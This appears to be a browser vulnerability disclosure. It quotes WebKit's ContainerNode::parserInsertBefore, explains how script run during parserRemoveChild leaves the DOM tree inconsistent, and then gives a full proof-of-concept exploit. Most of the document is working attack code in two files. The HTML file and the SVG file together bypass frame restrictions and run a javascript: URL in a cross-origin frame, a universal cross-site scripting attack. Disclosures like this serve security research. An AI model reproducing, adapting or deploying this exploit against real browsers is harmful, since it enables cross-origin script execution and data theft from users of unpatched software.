From /WebKit/Source/core/dom/ContainerNode.cpp
:
void ContainerNode::parserInsertBefore(PassRefPtrWillBeRawPtr<Node> newChild, Node& nextChild)
{
(...)
while (RefPtrWillBeRawPtr<ContainerNode> parent = newChild->parentNode())
parent->parserRemoveChild(*newChild);
if (document() != newChild->document())
document().adoptNode(newChild.get(), ASSERT_NO_EXCEPTION);
{
EventDispatchForbiddenScope assertNoEventDispatch;
ScriptForbiddenScope forbidScript;
treeScope().adoptIfNeeded(*newChild);
insertBeforeCommon(nextChild, *newChild);
newChild->updateAncestorConnectedSubframeCountForInsertion();
ChildListMutationScope(*this).childAdded(*newChild);
}
notifyNodeInserted(*newChild, ChildrenChangeSourceParser);
}
|parserRemoveChild| can run script, and it can remove |nextChild| from DOM or move the node around. When this happens, the tree will be in an inconsistent state after the |insertBeforeCommon| call, allowing an attacker to bypass the frame restrictions.
1.html
---------------------------
<body><iframe></iframe><table><b><p><iframe></iframe><script>
frames[1].onunload = function() {
document.body.removeChild(document.querySelector('table'));
}
onunload = function() {
// Clean up to fix some crashes during reload.
while (document.childNodes.length) {
document.removeChild(document.childNodes[0]);
}
}
onload = function() {
try{ frames[0].a }catch(e){ location.reload() };
xof = frames[0].frameElement;
xof.onload = function() {
xof.onload = null;
xof.src = 'javascript:alert(document.location)';
var xmlErr = document.documentElement.appendChild(document.createElement('iframe'));
xmlErr.src = '1.svg';
}
xof.src = 'data:text/html,crossOrigin';
}
</script></b></p></table></body>
---------------------------
1.svg
----------------------------
<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(document.createElementNS('http://www.w3.org/1999/xhtml', 'iframe'));
var b = top.xof.parentNode;
if (t = b.childNodes[1]) {
// It appears that something is holding the table element alive
// because the node destructor didn't run and its siblings' refs
// to it weren't cleared, so it's still reachable during node
// traversals. That'd crash when insertedInto notifications try to
// use the node's parentOrShadowHostNode(), so make sure it has
// a parent, and use a spare document to avoid traversal loops.
top.frames[1].document.body.appendChild(t);
}
frames[0].onunload = function() {
document.documentElement.appendChild(b);
b.insertBefore(document.createElement('x'), top.xof);
}
</script>
<element a="1" a="2" />
</svg>
---------------------------